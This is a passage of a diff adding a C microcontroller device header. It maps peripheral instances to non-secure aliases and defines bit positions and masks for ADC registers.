TIM5_BASE_NS + +#define TIM6 TIM6_NS +#define TIM6_BASE TIM6_BASE_NS + +#define TIM7 TIM7_NS +#define TIM7_BASE TIM7_BASE_NS + +#define TIM8 TIM8_NS +#define TIM8_BASE TIM8_BASE_NS + +#define TIM15 TIM15_NS +#define TIM15_BASE TIM15_BASE_NS + +#define TIM16 TIM16_NS +#define TIM16_BASE TIM16_BASE_NS + +#define TIM17 TIM17_NS +#define TIM17_BASE TIM17_BASE_NS + +#define WWDG WWDG_NS +#define WWDG_BASE WWDG_BASE_NS + +#define IWDG IWDG_NS +#define IWDG_BASE IWDG_BASE_NS + +#define SPI1 SPI1_NS +#define SPI1_BASE SPI1_BASE_NS + +#define SPI2 SPI2_NS +#define SPI2_BASE SPI2_BASE_NS + +#define SPI3 SPI3_NS +#define SPI3_BASE SPI3_BASE_NS + +#define USART1 USART1_NS +#define USART1_BASE USART1_BASE_NS + +#define USART2 USART2_NS +#define USART2_BASE USART2_BASE_NS + +#define USART3 USART3_NS +#define USART3_BASE USART3_BASE_NS + +#define UART4 UART4_NS +#define UART4_BASE UART4_BASE_NS + +#define UART5 UART5_NS +#define UART5_BASE UART5_BASE_NS + +#define USART6 USART6_NS +#define USART6_BASE USART6_BASE_NS + +#define I2C1 I2C1_NS +#define I2C1_BASE I2C1_BASE_NS + +#define I2C2 I2C2_NS +#define I2C2_BASE I2C2_BASE_NS + +#define I2C3 I2C3_NS +#define I2C3_BASE I2C3_BASE_NS + +#define I2C4 I2C4_NS +#define I2C4_BASE I2C4_BASE_NS + +#define I2C5 I2C5_NS +#define I2C5_BASE I2C5_BASE_NS + +#define I2C6 I2C6_NS +#define I2C6_BASE I2C6_BASE_NS + +#define CRS CRS_NS +#define CRS_BASE CRS_BASE_NS + +#define FDCAN1 FDCAN1_NS +#define FDCAN1_BASE FDCAN1_BASE_NS + +#define FDCAN_CONFIG FDCAN_CONFIG_NS +#define FDCAN_CONFIG_BASE FDCAN_CONFIG_BASE_NS +#define SRAMCAN_BASE SRAMCAN_BASE_NS + +#define DAC1 DAC1_NS +#define DAC1_BASE DAC1_BASE_NS + +#define OPAMP OPAMP_NS +#define OPAMP_BASE OPAMP_BASE_NS + +#define OPAMP1 OPAMP1_NS +#define OPAMP1_BASE OPAMP1_BASE_NS + +#define OPAMP2 OPAMP2_NS +#define OPAMP2_BASE OPAMP2_BASE_NS + +#define OPAMP12_COMMON OPAMP12_COMMON_NS +#define OPAMP12_COMMON_BASE OPAMP12_COMMON_BASE_NS + +#define LPTIM1 LPTIM1_NS +#define LPTIM1_BASE LPTIM1_BASE_NS + +#define LPTIM2 LPTIM2_NS +#define LPTIM2_BASE LPTIM2_BASE_NS + +#define LPTIM3 LPTIM3_NS +#define LPTIM3_BASE LPTIM3_BASE_NS + +#define LPTIM4 LPTIM4_NS +#define LPTIM4_BASE LPTIM4_BASE_NS + +#define LPUART1 LPUART1_NS +#define LPUART1_BASE LPUART1_BASE_NS + +#define UCPD1 UCPD1_NS +#define UCPD1_BASE UCPD1_BASE_NS + +#define SYSCFG SYSCFG_NS +#define SYSCFG_BASE SYSCFG_BASE_NS + +#define VREFBUF VREFBUF_NS +#define VREFBUF_BASE VREFBUF_BASE_NS + +#define COMP12 COMP12_NS +#define COMP12_BASE COMP12_BASE_NS + +#define COMP1 COMP1_NS +#define COMP1_BASE COMP1_BASE_NS + +#define COMP2 COMP2_NS +#define COMP2_BASE COMP2_BASE_NS + +#define COMP12_COMMON COMP12_COMMON_NS +#define COMP12_COMMON_BASE COMP1_BASE_NS + +#define SAI1 SAI1_NS +#define SAI1_BASE SAI1_BASE_NS + +#define SAI1_Block_A SAI1_Block_A_NS +#define SAI1_Block_A_BASE SAI1_Block_A_BASE_NS + +#define SAI1_Block_B SAI1_Block_B_NS +#define SAI1_Block_B_BASE SAI1_Block_B_BASE_NS + +#define SAI2 SAI2_NS +#define SAI2_BASE SAI2_BASE_NS + +#define SAI2_Block_A SAI2_Block_A_NS +#define SAI2_Block_A_BASE SAI2_Block_A_BASE_NS + +#define SAI2_Block_B SAI2_Block_B_NS +#define SAI2_Block_B_BASE SAI2_Block_B_BASE_NS + +#define CRC CRC_NS +#define CRC_BASE CRC_BASE_NS + +#define TSC TSC_NS +#define TSC_BASE TSC_BASE_NS + +#define ADC1 ADC1_NS +#define ADC1_BASE ADC1_BASE_NS + +#define ADC2 ADC2_NS +#define ADC2_BASE ADC2_BASE_NS + +#define ADC12_COMMON ADC12_COMMON_NS +#define ADC12_COMMON_BASE ADC12_COMMON_BASE_NS + +#define ADC4 ADC4_NS +#define ADC4_BASE ADC4_BASE_NS + +#define ADC4_COMMON ADC4_COMMON_NS +#define ADC4_COMMON_BASE ADC4_COMMON_BASE_NS + +#define HASH HASH_NS +#define HASH_BASE HASH_BASE_NS + +#define HASH_DIGEST HASH_DIGEST_NS +#define HASH_DIGEST_BASE HASH_DIGEST_BASE_NS + +#define RNG RNG_NS +#define RNG_BASE RNG_BASE_NS + +#define SDMMC1 SDMMC1_NS +#define SDMMC1_BASE SDMMC1_BASE_NS + +#define SDMMC2 SDMMC2_NS +#define SDMMC2_BASE SDMMC2_BASE_NS + +#define FMC_Bank1_R FMC_Bank1_R_NS +#define FMC_Bank1_R_BASE FMC_Bank1_R_BASE_NS + +#define FMC_Bank1E_R FMC_Bank1E_R_NS +#define FMC_Bank1E_R_BASE FMC_Bank1E_R_BASE_NS + +#define FMC_Bank3_R FMC_Bank3_R_NS +#define FMC_Bank3_R_BASE FMC_Bank3_R_BASE_NS + +#define OCTOSPI1 OCTOSPI1_NS +#define OCTOSPI1_R_BASE OCTOSPI1_R_BASE_NS + +#define OCTOSPI2 OCTOSPI2_NS +#define OCTOSPI2_R_BASE OCTOSPI2_R_BASE_NS + +#define OCTOSPIM OCTOSPIM_NS +#define OCTOSPIM_R_BASE OCTOSPIM_R_BASE_NS + +#define DLYB_SDMMC1 DLYB_SDMMC1_NS +#define DLYB_SDMMC1_BASE DLYB_SDMMC1_BASE_NS + +#define DLYB_SDMMC2 DLYB_SDMMC2_NS +#define DLYB_SDMMC2_BASE DLYB_SDMMC2_BASE_NS + +#define DLYB_OCTOSPI1 DLYB_OCTOSPI1_NS +#define DLYB_OCTOSPI1_BASE DLYB_OCTOSPI1_BASE_NS + +#define DLYB_OCTOSPI2 DLYB_OCTOSPI2_NS +#define DLYB_OCTOSPI2_BASE DLYB_OCTOSPI2_BASE_NS + +#define HSPI1 HSPI1_NS +#define HSPI1_R_BASE HSPI1_R_BASE_NS + +#define USB_OTG_HS USB_OTG_HS_NS +#define USB_OTG_HS_BASE USB_OTG_HS_BASE_NS + +#define MDF1 MDF1_NS +#define MDF1_BASE MDF1_BASE_NS + +#define MDF1_Filter0 MDF1_Filter0_NS +#define MDF1_Filter0_BASE MDF1_Filter0_BASE_NS + +#define MDF1_Filter1 MDF1_Filter1_NS +#define MDF1_Filter1_BASE MDF1_Filter1_BASE_NS + +#define MDF1_Filter2 MDF1_Filter2_NS +#define MDF1_Filter2_BASE MDF1_Filter2_BASE_NS + +#define MDF1_Filter3 MDF1_Filter3_NS +#define MDF1_Filter3_BASE MDF1_Filter3_BASE_NS + +#define MDF1_Filter4 MDF1_Filter4_NS +#define MDF1_Filter4_BASE MDF1_Filter4_BASE_NS + +#define MDF1_Filter5 MDF1_Filter5_NS +#define MDF1_Filter5_BASE MDF1_Filter5_BASE_NS + +#define ADF1 ADF1_NS +#define ADF1_BASE ADF1_BASE_NS + +#define ADF1_Filter0 ADF1_Filter0_NS +#define ADF1_Filter0_BASE ADF1_Filter0_BASE_NS +#define GFXMMU GFXMMU_NS +#define GFXMMU_BASE GFXMMU_BASE_NS +/* GFXMMU virtual buffers base address */ +#define GFXMMU_VIRTUAL_BUFFERS_BASE GFXMMU_VIRTUAL_BUFFERS_BASE_NS +#define GFXMMU_VIRTUAL_BUFFER0_BASE GFXMMU_VIRTUAL_BUFFER0_BASE_NS +#define GFXMMU_VIRTUAL_BUFFER1_BASE GFXMMU_VIRTUAL_BUFFER1_BASE_NS +#define GFXMMU_VIRTUAL_BUFFER2_BASE GFXMMU_VIRTUAL_BUFFER2_BASE_NS +#define GFXMMU_VIRTUAL_BUFFER3_BASE GFXMMU_VIRTUAL_BUFFER3_BASE_NS + +#define GPU2D GPU2D_BASE_NS + +#define LTDC LTDC_NS +#define LTDC_BASE LTDC_BASE_NS + +#define LTDC_Layer1 LTDC_Layer1_NS +#define LTDC_Layer1_BASE LTDC_Layer1_BASE_NS + +#define LTDC_Layer2 LTDC_Layer2_NS +#define LTDC_Layer2_BASE LTDC_Layer2_BASE_NS + +#define DSI DSI_NS +#define DSI_BASE DSI_BASE_NS + +#define REFBIAS REFBIAS_NS +#define REFBIAS_BASE REFBIAS_BASE_NS + +#define DPHY DPHY_NS +#define DPHY_BASE DPHY_BASE_NS + +#endif + +/** @addtogroup Hardware_Constant_Definition + * @{ + */ +#define LSI_STARTUP_TIME 260U /*!< LSI Maximum startup time in us */ + +/** + * @} + */ + +/******************************************************************************/ +/* */ +/* Analog to Digital Converter */ +/* */ +/******************************************************************************/ +/******************************* ADC VERSION ********************************/ +#define ADC_VER_V5_X +#define ADC_MULTIMODE_SUPPORT +/******************** Bit definition for ADC_ISR register ********************/ +#define ADC_ISR_ADRDY_Pos (0UL) +#define ADC_ISR_ADRDY_Msk (0x1UL << ADC_ISR_ADRDY_Pos) /*!< 0x00000001 */ +#define ADC_ISR_ADRDY ADC_ISR_ADRDY_Msk /*!< ADC Ready (ADRDY) flag */ +#define ADC_ISR_EOSMP_Pos (1UL) +#define ADC_ISR_EOSMP_Msk (0x1UL << ADC_ISR_EOSMP_Pos) /*!< 0x00000002 */ +#define ADC_ISR_EOSMP ADC_ISR_EOSMP_Msk /*!< ADC End of Sampling flag */ +#define ADC_ISR_EOC_Pos (2UL) +#define ADC_ISR_EOC_Msk (0x1UL << ADC_ISR_EOC_Pos) /*!< 0x00000004 */ +#define ADC_ISR_EOC ADC_ISR_EOC_Msk /*!< ADC End of Regular Conversion flag */ +#define ADC_ISR_EOS_Pos (3UL) +#define ADC_ISR_EOS_Msk (0x1UL << ADC_ISR_EOS_Pos) /*!< 0x00000008 */ +#define ADC_ISR_EOS ADC_ISR_EOS_Msk /*!< ADC End of Regular sequence of Conversions flag */ +#define ADC_ISR_OVR_Pos (4UL) +#define ADC_ISR_OVR_Msk (0x1UL << ADC_ISR_OVR_Pos) /*!< 0x00000010 */ +#define ADC_ISR_OVR ADC_ISR_OVR_Msk /*!< ADC overrun flag */ +#define ADC_ISR_JEOC_Pos (5UL) +#define ADC_ISR_JEOC_Msk (0x1UL << ADC_ISR_JEOC_Pos) /*!< 0x00000020 */ +#define ADC_ISR_JEOC ADC_ISR_JEOC_Msk /*!< ADC End of Injected Conversion flag */ +#define ADC_ISR_JEOS_Pos (6UL) +#define ADC_ISR_JEOS_Msk (0x1UL << ADC_ISR_JEOS_Pos) /*!< 0x00000040 */ +#define ADC_ISR_JEOS ADC_ISR_JEOS_Msk /*!< ADC End of Injected sequence of Conversions flag */ +#define ADC_ISR_AWD1_Pos (7UL) +#define ADC_ISR_AWD1_Msk (0x1UL << ADC_ISR_AWD1_Pos) /*!< 0x00000080 */ +#define ADC_ISR_AWD1 ADC_ISR_AWD1_Msk /*!< ADC Analog watchdog 1 flag */ +#define ADC_ISR_AWD2_Pos (8UL) +#define ADC_ISR_AWD2_Msk (0x1UL << ADC_ISR_AWD2_Pos) /*!< 0x00000100 */ +#define ADC_ISR_AWD2 ADC_ISR_AWD2_Msk /*!< ADC Analog watchdog 2 flag */ +#define ADC_ISR_AWD3_Pos (9UL) +#define ADC_ISR_AWD3_Msk (0x1UL << ADC_ISR_AWD3_Pos) /*!< 0x00000200 */ +#define ADC_ISR_AWD3 ADC_ISR_AWD3_Msk /*!< ADC Analog watchdog 3 flag */ +#define ADC_ISR_JQOVF_Pos (10UL) +#define ADC_ISR_JQOVF_Msk (0x1UL << ADC_ISR_JQOVF_Pos) /*!< 0x00000400 */ +#define ADC_ISR_JQOVF ADC_ISR_JQOVF_Msk /*!< ADC Injected Context Queue Overflow flag */ +#define ADC_ISR_EOCAL_Pos (11UL) +#define ADC_ISR_EOCAL_Msk (0x1UL << ADC_ISR_EOCAL_Pos) /*!< 0x00000800 */ +#define ADC_ISR_EOCAL ADC_ISR_EOCAL_Msk /*!< ADC End of Calibration flag */ +#define ADC_ISR_LDORDY_Pos (12UL) +#define ADC_ISR_LDORDY_Msk (0x1UL << ADC_ISR_LDORDY_Pos) /*!< 0x00001000 */ +#define ADC_ISR_LDORDY ADC_ISR_LDORDY_Msk /*!< ADC Voltage Regulator Ready flag */ + +/******************** Bit definition for ADC_IER register ********************/ +#define ADC_IER_ADRDYIE_Pos (0UL) +#define ADC_IER_ADRDYIE_Msk (0x1UL << ADC_IER_ADRDYIE_Pos) /*!< 0x00000001 */ +#define ADC_IER_ADRDYIE ADC_IER_ADRDYIE_Msk /*!< ADC Ready (ADRDY) interrupt source */ +#define ADC_IER_EOSMPIE_Pos (1UL) +#define ADC_IER_EOSMPIE_Msk (0x1UL << ADC_IER_EOSMPIE_Pos) /*!< 0x00000002 */ +#define ADC_IER_EOSMPIE ADC_IER_EOSMPIE_Msk /*!< ADC End of Sampling interrupt source */ +#define ADC_IER_EOCIE_Pos (2UL) +#define ADC_IER_EOCIE_Msk (0x1UL << ADC_IER_EOCIE_Pos) /*!< 0x00000004 */ +#define ADC_IER_EOCIE ADC_IER_EOCIE_Msk /*!< ADC End of Regular Conversion interrupt source */ +#define ADC_IER_EOSIE_Pos (3UL) +#define ADC_IER_EOSIE_Msk (0x1UL << ADC_IER_EOSIE_Pos) /*!< 0x00000008 */ +#define ADC_IER_EOSIE ADC_IER_EOSIE_Msk /*!< ADC End of Regular sequence of Conversions interrupt source */ +#define ADC_IER_OVRIE_Pos (4UL) +#define ADC_IER_OVRIE_Msk (0x1UL << ADC_IER_OVRIE_Pos) /*!< 0x00000010 */ +#define ADC_IER_OVRIE ADC_IER_OVRIE_Msk /*!< ADC overrun interrupt source */ +#define ADC_IER_JEOCIE_Pos (5UL) +#define ADC_IER_JEOCIE_Msk (0x1UL << ADC_IER_JEOCIE_Pos) /*!< 0x00000020 */ +#define ADC_IER_JEOCIE ADC_IER_JEOCIE_Msk /*!< ADC End of Injected Conversion interrupt source */ +#define ADC_IER_JEOSIE_Pos (6UL) +#define ADC_IER_JEOSIE_Msk (0x1UL << ADC_IER_JEOSIE_Pos) /*!< 0x00000040 */ +#define ADC_IER_JEOSIE ADC_IER_JEOSIE_Msk /*!< ADC End of Injected sequence of Conversions interrupt source */ +#define ADC_IER_AWD1IE_Pos (7UL) +#define ADC_IER_AWD1IE_Msk (0x1UL << ADC_IER_AWD1IE_Pos) /*!< 0x00000080 */ +#define ADC_IER_AWD1IE ADC_IER_AWD1IE_Msk /*!< ADC Analog watchdog 1 interrupt source */ +#define ADC_IER_AWD2IE_Pos (8UL) +#define ADC_IER_AWD2IE_Msk (0x1UL << ADC_IER_AWD2IE_Pos) /*!< 0x00000100 */ +#define ADC_IER_AWD2IE ADC_IER_AWD2IE_Msk /*!< ADC Analog watchdog 2 interrupt source */ +#define ADC_IER_AWD3IE_Pos (9UL) +#define ADC_IER_AWD3IE_Msk (0x1UL << ADC_IER_AWD3IE_Pos) /*!< 0x00000200 */ +#define ADC_IER_AWD3IE ADC_IER_AWD3IE_Msk /*!< ADC Analog watchdog 3 interrupt source */ +#define ADC_IER_JQOVFIE_Pos (10UL) +#define ADC_IER_JQOVFIE_Msk (0x1UL << ADC_IER_JQOVFIE_Pos) /*!< 0x00000400 */ +#define ADC_IER_JQOVFIE ADC_IER_JQOVFIE_Msk /*!< ADC Injected Context Queue Overflow interrupt source */ +#define ADC_IER_EOCALIE_Pos (11UL) +#define ADC_IER_EOCALIE_Msk (0x1UL << ADC_IER_EOCALIE_Pos) /*!< 0x00000800 */ +#define ADC_IER_EOCALIE ADC_IER_EOCALIE_Msk /*!< ADC End of Calibration Enable */ +#define ADC_IER_LDORDYIE_Pos (12UL) +#define ADC_IER_LDORDYIE_Msk (0x1UL << ADC_IER_LDORDYIE_Pos) /*!< 0x00001000 */ +#define ADC_IER_LDORDYIE ADC_IER_LDORDYIE_Msk /*!< ADC Voltage Regulator Ready flag */ + +/******************** Bit definition for ADC_CR register ********************/ +#define ADC_CR_ADEN_Pos (0UL) +#define ADC_CR_ADEN_Msk (0x1UL << ADC_CR_ADEN_Pos) /*!< 0x00000001 */ +#define ADC_CR_ADEN ADC_CR_ADEN_Msk /*!< ADC Enable control */ +#define ADC_CR_ADDIS_Pos (1UL) +#define ADC_CR_ADDIS_Msk (0x1UL << ADC_CR_ADDIS_Pos) /*!< 0x00000002 */ +#define ADC_CR_ADDIS ADC_CR_ADDIS_Msk /*!< ADC Disable command */ +#define ADC_CR_ADSTART_Pos (2UL) +#define ADC_CR_ADSTART_Msk (0x1UL << ADC_CR_ADSTART_Pos) /*!< 0x00000004 */ +#define ADC_CR_ADSTART ADC_CR_ADSTART_Msk /*!< ADC Start of Regular conversion */ +#define ADC_CR_JADSTART_Pos (3UL) +#define ADC_CR_JADSTART_Msk (0x1UL << ADC_CR_JADSTART_Pos) /*!< 0x00000008 */ +#define ADC_CR_JADSTART ADC_CR_JADSTART_Msk /*!< ADC Start of injected conversion */ +#define ADC_CR_ADSTP_Pos (4UL) +#define ADC_CR_ADSTP_Msk (0x1UL << ADC_CR_ADSTP_Pos) /*!< 0x00000010 */ +#define ADC_CR_ADSTP ADC_CR_ADSTP_Msk /*!< ADC Stop of Regular conversion */ +#define ADC_CR_JADSTP_Pos (5UL) +#define ADC_CR_JADSTP_Msk (0x1UL << ADC_CR_JADSTP_Pos) /*!< 0x00000020 */ +#define ADC_CR_JADSTP ADC_CR_JADSTP_Msk /*!< ADC Stop of injected conversion */ +#define ADC_CR_ADCALLIN_Pos (16UL) +#define ADC_CR_ADCALLIN_Msk (0x1UL << ADC_CR_ADCALLIN_Pos) /*!< 0x00010000 */ +#define ADC_CR_ADCALLIN ADC_CR_ADCALLIN_Msk /*!< ADC Linearity calibration */ + +#define ADC_CR_CALINDEX_Pos (24UL) +#define ADC_CR_CALINDEX_Msk (0xFUL << ADC_CR_CALINDEX_Pos) /*!< 0x0F000000 */ +#define ADC_CR_CALINDEX ADC_CR_CALINDEX_Msk /*!< ADC calibration factor selection */ +#define ADC_CR_CALINDEX0_Pos (24UL) +#define ADC_CR_CALINDEX0_Msk (0x1UL << ADC_CR_CALINDEX0_Pos) /*!< 0x01000000 */ +#define ADC_CR_CALINDEX0 ADC_CR_CALINDEX0_Msk /*!< ADC calibration factor selection (bit 0) */ +#define ADC_CR_CALINDEX1_Pos (25UL) +#define ADC_CR_CALINDEX1_Msk (0x1UL << ADC_CR_CALINDEX1_Pos) /*!< 0x02000000 */ +#define ADC_CR_CALINDEX1 ADC_CR_CALINDEX1_Msk /*!< ADC calibration factor selection (bit 1) */ +#define ADC_CR_CALINDEX2_Pos (26UL) +#define ADC_CR_CALINDEX2_Msk (0x1UL << ADC_CR_CALINDEX2_Pos) /*!< 0x04000000 */ +#define ADC_CR_CALINDEX2 ADC_CR_CALINDEX2_Msk /*!< ADC calibration factor selection (bit 2) */ +#define ADC_CR_CALINDEX3_Pos (27UL) +#define ADC_CR_CALINDEX3_Msk (0x1UL << ADC_CR_CALINDEX3_Pos) /*!< 0x08000000 */ +#define ADC_CR_CALINDEX3 ADC_CR_CALINDEX3_Msk /*!< ADC calibration factor selection (bit 3) */ +#define ADC_CR_ADVREGEN_Pos (28UL) +#define ADC_CR_ADVREGEN_Msk (0x1UL << ADC_CR_ADVREGEN_Pos) /*!< 0x10000000 */ +#define ADC_CR_ADVREGEN ADC_CR_ADVREGEN_Msk /*!< ADC Voltage regulator Enable */ +#define ADC_CR_DEEPPWD_Pos (29UL) +#define ADC_CR_DEEPPWD_Msk (0x1UL << ADC_CR_DEEPPWD_Pos) /*!< 0x20000000 */ +#define ADC_CR_DEEPPWD ADC_CR_DEEPPWD_Msk /*!< ADC Deep power down Enable */ +#define ADC_CR_ADCAL_Pos (31UL) +#define ADC_CR_ADCAL_Msk (0x1UL << ADC_CR_ADCAL_Pos) /*!< 0x80000000 */ +#define ADC_CR_ADCAL ADC_CR_ADCAL_Msk /*!< ADC Calibration */ + +/******************** Bit definition for ADC_CFGR register ********************/ +#define ADC_CFGR1_DMNGT_Pos (0UL) +#define ADC_CFGR1_DMNGT_Msk (0x3UL << ADC_CFGR1_DMNGT_Pos) /*!< 0x00000003 */ +#define ADC_CFGR1_DMNGT ADC_CFGR1_DMNGT_Msk /*!< ADC Data Management configuration */ +#define ADC_CFGR1_DMNGT_0 (0x1UL << ADC_CFGR1_DMNGT_Pos) /*!< 0x00000001 */ +#define ADC_CFGR1_DMNGT_1 (0x2UL << ADC_CFGR1_DMNGT_Pos) /*!< 0x00000002 */ + +#define ADC_CFGR1_RES_Pos (2UL) +#define ADC_CFGR1_RES_Msk (0x3UL << ADC_CFGR1_RES_Pos) /*!< 0x0000000C */ +#define ADC_CFGR1_RES ADC_CFGR1_RES_Msk /*!< ADC Data resolution */ +#define ADC_CFGR1_RES_0 (0x1UL << ADC_CFGR1_RES_Pos) /*!< 0x00000004 */ +#define ADC_CFGR1_RES_1 (0x2UL << ADC_CFGR1_RES_Pos) /*!< 0x00000008 */ + +#define ADC4_CFGR1_DMAEN_Pos (0UL) +#define ADC4_CFGR1_DMAEN_Msk (0x1UL << ADC4_CFGR1_DMAEN_Pos) /*!< 0x00000001 */ +#define ADC4_CFGR1_DMAEN ADC4_CFGR1_DMAEN_Msk /*!< ADC DMA transfer enable */ +#define ADC4_CFGR1_DMACFG_Pos (1UL) +#define ADC4_CFGR1_DMACFG_Msk (0x1UL << ADC4_CFGR1_DMACFG_Pos) /*!< 0x00000002 */ +#define ADC4_CFGR1_DMACFG ADC4_CFGR1_DMACFG_Msk /*!< ADC DMA transfer configuration */ + +#define ADC4_CFGR1_SCANDIR_Pos (4UL) +#define ADC4_CFGR1_SCANDIR_Msk (0x1UL << ADC4_CFGR1_SCANDIR_Pos) /*!< 0x00000004 */ +#define ADC4_CFGR1_SCANDIR ADC4_CFGR1_SCANDIR_Msk /*!< ADC group regular sequencer scan direction */ + +#define ADC4_CFGR1_ALIGN_Pos (5UL) +#define ADC4_CFGR1_ALIGN_Msk (0x1UL << ADC4_CFGR1_ALIGN_Pos) /*!< 0x00000020 */ +#define ADC4_CFGR1_ALIGN ADC4_CFGR1_ALIGN_Msk /*!< ADC data alignment */ + +#define ADC_CFGR1_EXTSEL_Pos (5UL) +#define ADC_CFGR1_EXTSEL_Msk (0x1FUL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x000003E0 */ +#define ADC_CFGR1_EXTSEL ADC_CFGR1_EXTSEL_Msk /*!< ADC External trigger selection for regular group */ +#define ADC_CFGR1_EXTSEL_0 (0x01UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000020 */ +#define ADC_CFGR1_EXTSEL_1 (0x02UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000040 */ +#define ADC_CFGR1_EXTSEL_2 (0x04UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000080 */ +#define ADC_CFGR1_EXTSEL_3 (0x08UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000100 */ +#define ADC_CFGR1_EXTSEL_4 (0x10UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000200 */ + +#define ADC_CFGR1_EXTEN_Pos (10UL) +#define ADC_CFGR1_EXTEN_Msk (0x3UL << ADC_CFGR1_EXTEN_Pos) /*!< 0x00000C00 */ +#define ADC_CFGR1_EXTEN ADC_CFGR1_EXTEN_Msk /*!< ADC External trigger enable and polarity selection for regular channels */ +#define ADC_CFGR1_EXTEN_0 (0x1UL << ADC_CFGR1_EXTEN_Pos) /*!< 0x00000400 */ +#define ADC_CFGR1_EXTEN_1 (0x2UL << ADC_CFGR1_EXTEN_Pos) /*!< 0x00000800 */ + +#define ADC_CFGR1_OVRMOD_Pos (12UL) +#define ADC_CFGR1_OVRMOD_Msk (0x1UL << ADC_CFGR1_OVRMOD_Pos) /*!< 0x00001000 */ +#define ADC_CFGR1_OVRMOD ADC_CFGR1_OVRMOD_Msk /*!< ADC overrun mode */ +#define ADC_CFGR1_CONT_Pos (13UL) +#define ADC_CFGR1_CONT_Msk (0x1UL << ADC_CFGR1_CONT_Pos) /*!< 0x00002000 */ +#define ADC_CFGR1_CONT ADC_CFGR1_CONT_Msk /*!< ADC Single/continuous conversion mode for regular conversion */ + +#define ADC_CFGR1_AUTDLY_Pos (14UL) +#define ADC_CFGR1_AUTDLY_Msk (0x1UL << ADC_CFGR1_AUTDLY_Pos) /*!< 0x00004000 */ +#define ADC_CFGR1_AUTDLY ADC_CFGR1_AUTDLY_Msk /*!< ADC Delayed conversion mode */ + +#define ADC4_CFGR1_WAIT_Pos (14UL) +#define ADC4_CFGR1_WAIT_Msk (0x1UL << ADC4_CFGR1_WAIT_Pos) /*!< 0x00004000 */ +#define ADC4_CFGR1_WAIT ADC4_CFGR1_WAIT_Msk /*!< ADC Delayed conversion mode */ + +#define ADC_CFGR1_DISCEN_Pos (16UL) +#define ADC_CFGR1_DISCEN_Msk (0x1UL << ADC_CFGR1_DISCEN_Pos) /*!< 0x00010000 */ +#define ADC_CFGR1_DISCEN ADC_CFGR1_DISCEN_Msk /*!< ADC Discontinuous mode for regular channels */ + +#define ADC_CFGR1_DISCNUM_Pos (17UL) +#define ADC_CFGR1_DISCNUM_Msk (0x7UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x000E0000 */ +#define ADC_CFGR1_DISCNUM ADC_CFGR1_DISCNUM_Msk /*!< ADC Discontinuous mode channel count */ +#define ADC_CFGR1_DISCNUM_0 (0x1UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x00020000 */ +#define ADC_CFGR1_DISCNUM_1 (0x2UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x00040000 */ +#define ADC_CFGR1_DISCNUM_2 (0x4UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x00080000 */ + +#define ADC_CFGR1_JDISCEN_Pos (20UL) +#define ADC_CFGR1_JDISCEN_Msk (0x1UL << ADC_CFGR1_JDISCEN_Pos) /*!< 0x00100000 */ +#define ADC_CFGR1_JDISCEN ADC_CFGR1_JDISCEN_Msk /*!< ADC Discontinuous mode on injected channels */ + +#define ADC_CFGR1_AWD1SGL_Pos (22UL) +#define ADC_CFGR1_AWD1SGL_Msk (0x1UL << ADC_CFGR1_AWD1SGL_Pos) /*!< 0x00400000 */ +#define ADC_CFGR1_AWD1SGL ADC_CFGR1_AWD1SGL_Msk /*!< Enable the watchdog 1 on a single channel or on all channels */ +#define ADC_CFGR1_AWD1EN_Pos (23UL) +#define ADC_CFGR1_AWD1EN_Msk (0x1UL << ADC_CFGR1_AWD1EN_Pos) /*!< 0x00800000 */ +#define ADC_CFGR1_AWD1EN ADC_CFGR1_AWD1EN_Msk /*!< ADC Analog watchdog 1 enable on regular Channels */ +#define ADC_CFGR1_JAWD1EN_Pos (24UL) +#define ADC_CFGR1_JAWD1EN_Msk (0x1UL << ADC_CFGR1_JAWD1EN_Pos) /*!< 0x01000000 */ +#define ADC_CFGR1_JAWD1EN ADC_CFGR1_JAWD1EN_Msk /*!< ADC Analog watchdog 1 enable on injected Channels */ +#define ADC_CFGR1_JAUTO_Pos (25UL) +#define ADC_CFGR1_JAUTO_Msk (0x1UL << ADC_CFGR1_JAUTO_Pos) /*!< 0x02000000 */ +#define ADC_CFGR1_JAUTO ADC_CFGR1_JAUTO_Msk /*!< ADC Automatic injected group conversion */ + +/* Specific ADC4 */ +#define ADC4_CFGR1_EXTSEL_Pos (6UL) +#define ADC4_CFGR1_EXTSEL_Msk (0x7UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x000003E0 */ +#define ADC4_CFGR1_EXTSEL ADC4_CFGR1_EXTSEL_Msk /*!< ADC External trigger selection for regular group */ +#define ADC4_CFGR1_EXTSEL_0 (0x01UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x00000020 */ +#define ADC4_CFGR1_EXTSEL_1 (0x02UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x00000040 */ +#define ADC4_CFGR1_EXTSEL_2 (0x04UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x00000080 */ + +#define ADC4_CFGR1_CHSELRMOD_Pos (21UL) +#define ADC4_CFGR1_CHSELRMOD_Msk (0x1UL << ADC4_CFGR1_CHSELRMOD_Pos) /*!< 0x00200000 */ +#define ADC4_CFGR1_CHSELRMOD ADC4_CFGR1_CHSELRMOD_Msk /*!< ADC JSQR Queue mode */ + +#define ADC_CFGR1_AWD1CH_Pos (26UL) +#define ADC_CFGR1_AWD1CH_Msk (0x1FUL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x7C000000 */ +#define ADC_CFGR1_AWD1CH ADC_CFGR1_AWD1CH_Msk /*!< ADC Analog watchdog 1 Channel selection */ +#define ADC_CFGR1_AWD1CH_0 (0x01UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x04000000 */ +#define ADC_CFGR1_AWD1CH_1 (0x02UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x08000000 */ +#define ADC_CFGR1_AWD1CH_2 (0x04UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x10000000 */ +#define ADC_CFGR1_AWD1CH_3 (0x08UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x20000000 */ +#define ADC_CFGR1_AWD1CH_4 (0x10UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x40000000 */ + +/******************** Bit 